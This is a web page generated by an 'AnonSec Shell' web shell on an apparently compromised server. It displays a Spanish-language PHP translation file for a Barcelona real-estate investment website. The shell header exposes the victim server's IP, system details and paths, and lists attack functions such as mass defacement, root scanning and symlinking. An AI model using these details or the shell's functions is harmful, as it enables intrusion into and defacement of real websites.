AnonSec Shell

Server IP : 162.19.86.63 / Your IP : 216.73.217.81 [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/vhosts/oinversion.com/httpdocs/frontend/messages/es-ES/
Upload File :
[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]
Current File : /var/www/vhosts/oinversion.com/httpdocs/frontend/messages/es-ES/app.php
<?php
use common\models\FlatPage;
use yii\helpers\Html;
return array (
  /******************* COMMON **********************/
  'common.send-contact' => 'QUIERO ASESORARME',
  'common.send' => 'ENVIAR',
  'common.terms' => 'Al enviar este formulario aceptas los <a target="_blank" href="'.FlatPage::getUrlFor("condiciones-uso").'">términos del servicio.</a>',
  'common.send-newsletter' => '¡Quiero actualizarme!',
  'common.cookies' => 'Las cookies nos permiten ofrecerte una mejor experiencia en nuestro sitio. Al utilizar nuestra página aceptas el uso que hacemos de las cookies.',
  'common.cookies-accept' => 'Cerrar',
  /******************* HOME **********************/
  'main.title' => 'Multiplica</span> tu inversión,<br/><span class="blue">cuida tu</span> patrimonio',
  'main.list-home' => 'Inicio',
  'main.list-contact' => 'Contacto',
  'main.list-projects' => 'Proyectos',
  'main.footer-about' => 'Nosotros',
  'main.footer-patrimony' => 'Patrimonios',
  'main.footer-coinvestment' => 'Coinversión',
  'main.footer-funds' => 'Fondos de inversión',
  'main.footer-central-office' => 'OFICINA CENTRAL',
  'main.footer-office-address' => 'Contáctenos<br/>
                    Oficina Calle Aragón<br/>
                    C/ Aragón 307<br/>
                    08009 Barcelona, España<br/>
                    Tel.: (+34) 93 459 27 54',
  'main.footer-follow-us' => '¡Síguenos!',
  'main.footer-newsletter' => 'Newsletter',
  'main.footer-newsletter-text' => 'Asesórate y recibe consejos y toda la actualidad del mercado',
  'main.footer-newsletter-input' => 'TU CORREO',
  'main.footer-blog' => 'Blog de Oinversión',
  'main.footer-blog-text' => 'Infórmate con las últimas novedades del mercado de inversiones: ',
  'main.copyright' => 'Oinversion Todos los derechos reservados',
  'main.terms1' => 'Aviso legal',
  'main.terms2' => 'Condiciones de uso',
  'index.form-title' => 'TE ASESORAMOS GRATIS',
  'index.form-text' => 'Nuestro primer encuentro de asesoramiento es sin cargo.',
  'index.main-title' => 'Tus bienes, una historia feliz',
  'index.main-text' => 'Encuentra el asesoramiento y la gestión de patrimonios que buscas. No importa cuan grande sea tu patrimonio, siempre puedes multiplicarlos participando en coinversiones o en fondos de inversión inmobiliarias',
  'index.patrimony-title' => 'Patrimonios',
  'index.patrimony-text' => 'Nuestros especialistas en gestión de patrimonios diseñan e implementan <span class="bold">estrategias financieras</span> para asegurar y multiplicar tus bienes. Cubrimos la gestión periódica de inversiones de toda índole, adaptándonos a tus objetivos y necesidades.<br/> <a href="'.FlatPage::getUrlFor("patrimony").'">Conoce todos los detalles</a>',
  'index.coinvestment-title' => 'Coinversión',
  'index.coinvestment-text' => 'La coinversión te permite ser parte de los mismos vehículos de inversión inmobiliaria que sus dueños o promotores y al mismo tiempo beneficiarte de su éxito en rentabilidad y mínimo coste.<br/> <a href="'.FlatPage::getUrlFor("coinvestment").'">¡Encuentra tu oportunidad!</a>',
  'index.funds-title' => 'Fondos de inversión',
  'index.funds-text' => 'Tu capital te puede dar ganancias en Fondos de Inversión Libres o Fondos de Inversión Inmobiliaria. <a href="'.FlatPage::getUrlFor("funds").'">Destina tu capital a inversiones seguras con alto margen de interés</a> ¡Ahorra mejor!',
  'index.projects-title' => 'Proyectos exitosos',
  'index.projects-text' => 'Los proyectos de inversión o patrimonio que dirigimos cuentan con un análisis global y puesta en práctica efectiva. <a href="'.FlatPage::getUrlFor("proyectos").'">Te ofrecemos una selección de proyectos para observarlos más en detalle.</a>',
  'index.panel-title' => 'Tu panel de control',
  'index.panel-text' => 'Queremos que tengas el absoluto control de tus operaciones, emprendimientos o inversiones. <a href="#">Crea un espacio personal</a> para administrar tus acciones y mantener un seguimiento.',
  'index.search-title' => 'Buscador de inversiones',
  'index.search-text' => 'Desde aquí puedes buscar a través de un foltro avanzado las inversiones que mas te convengan y monitorear su estado.',
  'index.advisor-title' => 'Chat con asesor',
  'index.advisor-text' => 'Puedes consultar, comentar o simplemente informar de cualquier eventualidad a tu asesor. Tendrás rápida una respuesta.',
  'index.management-title' => 'Gestión de documentos',
  'index.management-text' => 'Automatizamos una herramienta que te permite compartir con tu asesor documentos importantes y realizar comentarios en conjunto sobre los mismos.',
  'index.news-title' => 'Inver-news',
  'index.news-text' => 'Te ofrecemos un feed de la información más fresca relacionada a los campos que te interesan ¡Información caliente para que seas el primero en llegar!',
  /******************* FORMS **********************/
  'about.main-title'=>'Un equipo en quien confiar',
  'about.main-text'=>'Los bienes solo crecen con estrategias inteligentes. Activa tu patrimonio y multiplica la rentabilidad de tu capital en coinversiones o fondos de inversión. Confía en expertos.',
  'about.planification-block-title' => '¿Por qué sabemos cómo ayudarte?',
  'about.planification-block-title-1' => 'SOMOS ESPECIALISTAS EN FINANZAS',
  'about.planification-block-text-1' => 'Dominamos el campo de la gestión de patrimonios y los marcos legales que involucran a las inversiones en general. En procesos complejos, te hacemos la vida más simple.',
  'about.planification-block-title-2' => 'AÑOS DE EXPERIENCIA EN EL MERCADO',
  'about.planification-block-text-2' => 'La experiencia no es una palabra, sino un concepto amplio alimentado por la práctica y conocimiento de campo. La seguridad que transmitimos se avala en el conocimiento de las tendencias y estructuras económicas españolas e internacionales.',
  'about.planification-block-title-3' => 'NOS GUSTA HABLAR CARA A CARA',
  'about.planification-block-text-3' => 'Los negocios serios se resuelven presencialmente. Para alcanzar el éxito de tus objetivos creemos que es necesario entender a fondo  el problema. Tu y todos nuestros clientes nos encuentran en nuestro despacho con el compromiso que nos caracteriza.',
  'about.bottom-title' => 'Nuestras puertas están abiertas',
  'about.bottom-text' => 'Nos gusta vincularnos con nuestros asesorados. Consideramos fundamental conocer tus necesidades y aspiraciones. Para ello te ofrecemos visitarnos cuando quieras por nuestro despacho en Barcelona.',
  'about.advantages-title' => 'El equipo',
  'about.advantages-text' => 'Nuestra experiencia cuenta con más de quince años en el mercado inmobiliario. Nos especializamos en gestión y estrategia de inversiones inmobiliarias y patrimonios.',
  /******************* PATRIMONY **********************/
  'patrimony.main-title' => 'Una estrategia financiera exitosa',
  'patrimony.main-text' => 'Es posible, a partir de un análisis minucioso, diseñar una estrategia para recuperar la vitalidad de tu patrimonio.',
  'patrimony.process-title' => 'Proceso',
  'patrimony.process-text' => 'Los procesos de revitalización de un patrimonio deben seguir un orden que le permita a sus administradores comprender el porqué de su inactividad, y acto seguido comenzar con un plan de acción.',
  'patrimony.analysis-title' => 'Análisis de caso',
  'patrimony.analysis-text' => 'Analizamos detenidamente cada caso durante sucesivas reuniones presenciales o remotas con los propietarios del patrimonio.',
  'patrimony.planification-title' => 'Planificación financiera',
  'patrimony.planification-text' => 'En base a la naturaleza específica de cada patrimonio se realizará un informe de planificación con la estrategia a llevar a cabo.',
  'patrimony.implementation-title' => 'Implementación',
  'patrimony.implementation-text' => 'Hacemos un seguimiento de la implementación de la estrategia financiera de forma estrecha a cada caso.',
  'patrimony.planification-block-title' => '¿Qué incluye la planificación financiera?',
  'patrimony.planification-block-title-1' => 'PLANIFICACIÓN ESTRATÉGICA',
  'patrimony.planification-block-text-1' => 'La planificación financiera es una parte importante de la administración de un patrimonio, porque proporciona esquemas para guiar, coordinar y controlar las actividades de éste con el propósito de lograr los objetivos.',
  'patrimony.planification-block-title-2' => 'PLANIFICACIÓN FUNCIONAL',
  'patrimony.planification-block-text-2' => 'La planificación funcional es la esencia de la planificación estratégica, porque es el momento cuando se determinan las actividades que deben realizarse diariamente con miras a alcanzar los objetivos definidos.',
  'patrimony.planification-block-title-3' => 'ANÁLISIS DE LA RENTABILIDAD DE LAS INVERSIONES Y DEL NIVEL DE BENEFICIO',
  'patrimony.planification-block-text-3' => 'En términos generales, la rentabilidad se refiere al rendimiento de una inversión determinada y se expresa por la relación entre los resultados y los recursos empleados.',
  'patrimony.planification-block-title-4' => 'LA PLANEACIÓN DE LAS UTILIDADES',
  'patrimony.planification-block-text-4' => 'Se centra en la preparación de estados pro-forma, que son estados financieros (Estados de resultados y balances generales) proyectados o pronosticados.',
  'patrimony.planification-block-title-5' => 'ANÁLISIS DE MARKETING',
  'patrimony.planification-block-text-5' => 'La mercadotecnia es la encargada de formular las alternativas estratégicas del negocio. Se trazan en detalle los frentes a cubrir de cara a la promoción y multiplicación de los bienes de tu patrimonio.',
  'patrimony.planification-block-title-6' => 'ANÁLISIS FINANCIERO',
  'patrimony.planification-block-text-6' => 'El sector de finanzas cuantifica las estrategias propuestas por la mercadotecnia. Se profundiza el estudio de las posibilidades de financiación para cubrir los costos del plan.',
  'patrimony.plans-title' => 'Planes financieros para patrimonios',
  'patrimony.plans-shortterm-title' => 'Planes financieros a corto plazo',
  'patrimony.plans-longterm-title' => 'Planes financieros a largo plazo',
  'patrimony.plans-shortterm-text-1' => 'Estos especifican las acciones financieras a corto plazo y su impacto pronosticado. Estos planes abarcan a menudo un período de uno o dos años.',
  'patrimony.plans-shortterm-text-2' => 'La información necesaria fundamental incluye el pronóstico de ganancias y diversas formas de datos operativos y financieros.',
  'patrimony.plans-longterm-text-1' => 'Determinan las acciones financieras planeadas de una organización y su impacto pronosticado, durante periodos que varían de dos a diez años. Es común el uso de planes estratégicos a cinco años, que se revisan conforme surge nueva información.',
  'patrimony.plans-longterm-text-2' => 'Los planes financieros a largo plazo forman parte de un plan estratégico integrado que, junto con los planes de producción y de mercadotecnia, guían a la organización hacia el logro de sus objetivos estratégicos.',
  'patrimony.contact-title' => '¿Quieres asesorarte en materia de inversiones?',
  'patrimony.contact-text' => 'Te ofrecemos un encuentro gratuito para entender tu caso y facilitarte información significativa.',
  /******************* COINVESTMENT **********************/
  'coinvestment.main-title' => 'La unión hace la fuerza',
  'coinvestment.main-text' => 'Descubre cuales son las mejores opciones de inversión inmobiliaria en fondos comunes.',
  'coinvestment.process-title' => 'Proceso de coinversión inmobiliaria',
  'coinvestment.process-text' => 'Te ayudamos a <span class="bold">seleccionar una buena oportunidad</span> y puedas participar en los instrumentos de inversión colectiva de sus promotores.',
  'coinvestment.search-title' => 'Búsqueda de opciones',
  'coinvestment.search-text' => 'El mercado carga con un sinfín de alternativas de inversión inmobiliaria, contextos institucionales y tipos de inversores diversos. Identificamos lo mejor para tí.',
  'coinvestment.identity-title' => 'Identificación',
  'coinvestment.identity-text' => 'Una vez obtenidas las mejores opciones te asesoramos en la selección del camino indicado a través de un estudio técnico de factibilidad.',
  'coinvestment.processing-title' => 'Tramitación',
  'coinvestment.processing-text' => 'En los procesos de coinversión hay mucha letra pequeña. Nuestra gestión profesional te ayuda a entender los factores que incluye cada oportunidad.',
  'coinvestment.planification-block-title' => 'Beneficios',
  'coinvestment.planification-block-title-1' => 'RENTABILIDAD SEGURA',
  'coinvestment.planification-block-text-1' => 'La coinversión ofrece rentabilidad bruta (difieren según el proyecto) para un plazo de cinco años que pueden alcanzar hasta el 70%, teniendo en cuenta el alquiler y la revalorización del inmueble.',
  'coinvestment.planification-block-title-2' => 'FÁCIL GESTIÓN',
  'coinvestment.planification-block-text-2' => 'Ahora se puede invertir en varios inmuebles por toda España desde 100 euros y sin moverse del sofá. A través de tu asesor u online podrás invertir en uno o varios inmuebles.',
  'coinvestment.planification-block-title-3' => 'FLEXIBILIDAD DE ELECCIÓN',
  'coinvestment.planification-block-text-3' => 'El propio inversor decide en qué inmuebles quiere invertir: viviendas, locales, oficinas y naves industriales. También puede diversificar en diferentes viviendas y minimizar los posibles riesgos.',
  'coinvestment.plans-title' => 'Tipos de coinversión',
  'coinvestment.plans-operative-title' => 'Operativa',
  'coinvestment.plans-corporate-title' => 'Corporativa',
  'coinvestment.plans-operative-text' => 'Las coinversiones operativas se ejecutan de cara a proyectos específicos sin que los participantes (promotores y particulares) lleguen a ser socios en el capital.<br/>El plazo de tiempo tiene una duración definida de antemano.',
  'coinvestment.plans-corporate-text' => 'Por otra parte, en las coinversiones corporativas los participantes se convierten en socios en el capital mientras que el plazo es indefinido.',
  'coinvestment.panel-text' => 'Desde tu panel de control accederás a nuestro <a href="#">buscador de fondos de coinversión</a> para elegir el que mejor se adapte a tus necesidades <a href="#">¡Crea una cuenta gratis!</a>',
  'coinvestment.contact-title' => '¿Quieres asesorarte en materia de inversiones?',
  'coinvestment.contact-text' => 'Te ofrecemos un encuentro gratuito para entender tu caso y facilitarte información significativa.',  
  /******************* COINVESTMENT **********************/
  'funds.main-title' => 'Grandes inversiones inmobiliarias',
  'funds.main-text' => 'Cuando te une un mismo objetivo, las ganancias son mayores. Entiende como entrar a sociedades fuertes.',
  'funds.process-title' => 'Función de sus integrantes',
  'funds.process-text' => 'Para saber dónde y cuánto invertir en un inmueble es preciso entender qué roles cubren las diversas partes de un fondo de inversión.',
  'funds.participants-title' => 'Partícipes',
  'funds.participants-text' => 'El fondo puede estar conformado por los aportes de varios inversores individuales, grupales, institucionales, privados o estatales y su rol es el de brindar aportaciones.',
  'funds.entity-title' => 'Entidad Gestora',
  'funds.entity-text' => 'Invierte de forma conjunta las aportaciones en diferentes activos financieros siguiendo pautas fijadas de antemano en la política de inversión del fondo.',
  'funds.depository-title' => 'Entidad depositaria',
  'funds.depository-text' => 'Custodia el patrimonio del fondo (valores y efectivo) y asume ciertas funciones de control sobre la Entidad Gestora, en beneficio de los partícipes.',
  'funds.planification-block-title' => 'Nociones básicas sobre fondos de inversión',
  'funds.planification-block-title-1' => '¿QUÉ ES UN FONDO DE INVERSIÓN?',
  'funds.planification-block-text-1' => 'Son Instituciones de Inversión Colectiva cuyo objeto es la captación de las aportaciones de un número variable de inversores (denominados partícipes), para gestionarlas con el objetivo de obtener un beneficio con una adecuada diversificación del riesgo.',
  'funds.planification-block-title-2' => '¿QUÉ ROL TIENE UN PARTÍCIPE?',
  'funds.planification-block-text-2' => 'Cada partícipe es propietario de una parte del patrimonio del fondo en proporción al valor de sus aportaciones. El resultado de la inversión (aumentos o disminuciones de patrimonio) se atribuye proporcionalmente a los partícipes.',
  'funds.planification-block-title-3' => 'FLEXIBILIDAD INGRESO/EGRESO',
  'funds.planification-block-text-3' => 'Cualquier partícipe puede entrar en el fondo en el momento de su constitución o a posteriori, y pueden salirse del mismo (obteniendo el reembolso de la inversión) en cualquier momento.',
  'funds.advantages-title' => 'Ventajas',
  'funds.advantages-text-1' => '<span class="title">Diversificación:</span> mediante un fondo de inversión consigues repartir tu dinero en diferentes inmuebles y con distintos comportamientos ante una misma situación de mercado. De esta manera, si alguno/s de ellos genera/n pérdidas, éstas se podrán ver compensadas, al menos en parte, con la/s ganancia/s de otro/s.',
  'funds.advantages-text-2' => '<span class="title">Acceso a prácticamente cualquier mercado:</span> tendrás acceso a mercados que en muchos casos no estarían a tu alcance si invirtieses de forma individual.', 
  'funds.advantages-text-3' => '<span class="title">Eficiencia:</span> al invertir de forma colectiva, los fondos de inversión aprovechan las economías de escala, es decir, incurren en menores costes al operar en los mercados.',
  'funds.advantages-text-4' => '<span class="title">Gestión profesional:</span> al invertir en fondos confías parte de tus ahorros a un equipo profesional con mayor capacidad de análisis y seguimiento de los mercados que un inversor minorista.',
  'funds.advantages-text-5' => '<span class="title">Productos adecuados para cada perfil:</span> existe una tipología de fondos muy variada que te permite encontrar productos para cualquier perfil inversor, desde los más conservadores, a los que están dispuestos a asumir mayores riesgos.',  
  'funds.plans-title' => 'Rendimientos de fondos de inversión',
  'funds.plans-text' => 'Ante las opciones de menor rentabilidad y mayor riesgo y viceversa es clave contar con el asesoramiento indicado.',
  'funds.plans-relative-title' => 'Relativa',
  'funds.plans-absolute-title' => 'Absoluta',
  'funds.plans-relative-text' => 'El rendimiento que consigue en un periodo de tiempo determinado está referido a un índice o Benchmark. Estos son los fondos tradicionales, que apuestan por inversiones menos arriesgadas, teniendo menos comisiones y se especializan en un campo concreto.',
  'funds.plans-absolute-text' => 'El valor de la inversión no está referido a un Benchmark, el valor de éste se mide por su valor monetario. Estos fondos son caros, no se tiene conocimiento en que va a invertir y utilizan todo tipo de técnicas de inversión, como posiciones cortas, uso de derivados, aumentando el riesgo de la inversión.',
  'funds.panel-text' => 'Desde tu panel de control accederás a nuestro <a href="#">buscador de fondos de coinversión</a> para elegir el que mejor se adapte a tus necesidades <a href="#">¡Crea una cuenta gratis!</a>',
  'funds.contact-title' => '¿Quieres asesorarte en materia de inversiones?',
  'funds.contact-text' => 'Te ofrecemos un encuentro gratuito para entender tu caso y facilitarte información significativa.',
  /******************* FORMS **********************/
  'contact.name'=>'Nombre',
  'contact.email'=>'Correo',
  'contact.phone'=>'Teléfono',
  'contact.body'=>'Mensaje',
  /******************* CONTACT **********************/ 
  'contact.address' => '<h4>Oficina Calle Aragón</h4>
                    C/ Aragón 307<br/>
                    08009 Barcelona, España<br/>
                    Tel.: (+34) 93 459 27 54',
  'contact.form-text' => 'Le agradecemos el interés mostrado por nuestra empresa y nuestros servicios.',
  'contact.success-message' => 'Gracias por contactarnos. Te responderemos a la brevedad posible.',
  'contact.error-message' => 'Ha ocurrido un error. Intente de nuevo más tarde.',
  /******************* PROJECTS **********************/
  'projects.main-title'=>'Proyectos de inversión',
  'projects.investors'=>'{n, plural, =1{inversor} other {inversores}}',
  'projects.term'=>'{n, plural, =1{mes} other {meses}}',
  'projects.investment'=>'Inversión',
  'projects.profit'=>'Rentabilidad',
  'projects.investment-other'=>'Inversión realizada',
  'projects.profit-other'=>'Rentabilidad obtenida',
  'projects.contact-text'=>'¿Quieres enterarte de oportunidades similares de inversión?',
  'projects.contact-button'=>'¡Contacta con nosotros!',
  'projects.description'=>'Descripción',
  'projects.info'=>'Información financiera',
  'projects.total-investment'=>'Inversión',
  'projects.benefit'=>'Beneficio generado',
  'projects.profit-long'=>'Rentabilidad',
  'projects.benefit-short'=>'Beneficio',
  'projects.by-investor'=>'(por inversor)',
  'projects.blueprints'=>'Planos',
  'projects.location'=>'Localización',
  'projects.chart-buy'=>'Compra',
  'projects.chart-tax'=>'Impuestos',
  'projects.chart-reform'=>'Reforma',
  /******************* MAIL **********************/
  'mail.title'=>'Nuevo mensaje desde el formulario de contacto',
  /******************* BLOG **********************/
  'blog.main-title'=>'El blog para los inversores mejor informados',
  'blog.share-post'=>'Comparte este artículo',
  'blog.categories'=>'Categorías',
  'blog.tags'=>'Tags',
  'blog.recent-posts'=>'Post recientes',
  'blog.share-post'=>'Comparte este artículo',
  'blog.posted'=>'Publicado el {0,date,short}',
  'blog.prev'=>'Anterior',
  'blog.next'=>'Siguiente',
  'blog.no-posts'=>'No se encontraron posts',
  );
Anon7 - 2022
AnonSec Team